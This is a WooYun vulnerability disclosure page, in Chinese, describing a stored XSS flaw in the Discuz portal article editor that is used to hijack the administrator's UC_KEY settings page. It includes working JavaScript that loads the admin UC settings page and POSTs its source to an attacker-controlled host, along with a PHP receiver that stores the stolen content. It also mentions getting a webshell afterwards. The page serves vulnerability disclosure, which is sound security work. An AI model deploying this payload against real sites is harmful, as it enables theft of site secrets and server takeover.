当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-049656

漏洞标题:Discuz某处XSS劫持UC_KEY(XSS应用详细过程)

相关厂商:Discuz!

漏洞作者: xfkxfk

提交时间:2014-01-23 16:21

修复时间:2014-04-23 16:22

公开时间:2014-04-23 16:22

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-01-23: 细节已通知厂商并且等待厂商处理中
2014-01-23: 厂商已经确认,细节仅向厂商公开
2014-01-26: 细节向第三方安全合作伙伴开放
2014-03-19: 细节向核心白帽子及相关领域专家公开
2014-03-29: 细节向普通白帽子公开
2014-04-08: 细节向实习白帽子公开
2014-04-23: 细节向公众公开

简要描述:

Discuz某处XSS劫持UC_KEY到拿webshell。
XSS应用的详细过程。

详细说明:

漏洞:


这个漏洞的位置在Discuz的门户功能处。
在发表文章时,打开“编辑源码”功能时,写入任意XSS CODE后,再进入和输出都没有过滤。导致存储型XSS。
大家都知道,这里的XSS虽然可以劫持到用户和管理的Cookies,但是没什么用,无法登陆。
那么,我们可以想办法拿XSS来干点其他的,比如劫持管理员后台内容,如UC_KEY等。

门槛:


因为默认安装情况下这个门户功能是没有配置的。
所以管理员需要手动配置门户功能。大部分都会开启门户。
但是开启门户,添加门户频道后不是所有用户都可以发表文章。
发表文章的权限是管理员手动配置的。
一般情况:
1、管理员可以发表文章。
2、超级版主,版主等管理组可以发表文章。
3、普通用户可以发表文章。
4、上述用户发表文章后可以配置需要管理员审核等。
所以,综上所述,只要用户可以发表文章就可以到达目的了。

下面说说详细过程:


首先我们来看下我们目标环境的discuz配置,选择门户——添加频道:

1.png


然后看看可发表文章的用户组。这里是新手的发表文章文章权限配置。

2.png


可以发表文章,但是需要管理审核。
上述时普遍存在的常规门户文章发表配置。
然后我们在目标站上注册用户,发表文章:

3.png


具体注意的,介绍的部分上图已说明。
这里攻击者服务其上的jquery.js和js.js就是我们劫持UC_KEY的核心。
说白了就是劫持页面源代码。没什么技术含量。
这里我用了ajax请求,为了避免没有jquery环境,自己加上了jquery.js。
js.js代码如下:

$(document).ready(function(){
var htmlstr = '';

$.ajax({
url: "http://xxx.xxx.100.235/Discuz_X3.1_SC_UTF8/admin.php?action=setting&operation=uc",
dataType: "text",
async: false,
success: function(data){
htmlstr = data;
}
});

$.ajax({
url: "http://xxx.xxx.20.198/savepage.php",
dataType: "text",
async: false,
type: "POST",
data: {"msg": htmlstr},
success: function(data){
//htmlstr = data;
}
});
//$("body").append("<area>"+htmlstr+"</area>");
//alert(htmlstr)
});


功能就是劫持目标的http://xxx.xxx.100.235/Discuz_X3.1_SC_UTF8/admin.php?action=setting&operation=uc页面的内容,然后发送到攻击者的http://xxx.xxx.20.198/savepage.php上。
savepage.php就是接受目标页面源码内容的,代码如下:

<?php
$data=$_POST['msg'];
$file='savepage.txt';
if (is_writable($file) == false) {
die('123');
}
file_put_contents($file, $data);
?>


下面我们来看看我们发表文章后,目标站点上的响应:

4.png


管理员进入后台就会看见提示。

5.png


打开需要审核的内容,管理员在审核时一般都会看看这个文章的内容,是否可以发布。
此时管理员查看时,已经被我们劫持。

6.png


最后我们回到攻击者,看看我们接收到的内容:

7.png


剩下的就是利用UC_KEY直接拿shell,或者登陆后台,这里的内容见其他漏洞详情。

漏洞证明:

上一张攻击值劫持到的内容:

7.png

修复方案:

1、这里在正常发表文章时,是没有问题的,已经对内容进行了转义。这里继续转义过滤即可。
2、我们在劫持内容时,Referer是从前台进入的。虽然是管理登陆的,从前台直接转入后台时需要管理账户密码的。就像管理员虽然登陆的前台,但是在转入后台是依然需要输入用户名密码一样。
3、控制后台敏感内容的二次利用及危害。
4、其他。

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2014-01-23 16:50

厂商回复:

确切的来说,算不上漏洞,因为从功能角度来讲就是这么设计的。不过,还是很感谢您提出的问题。

最新状态:

暂无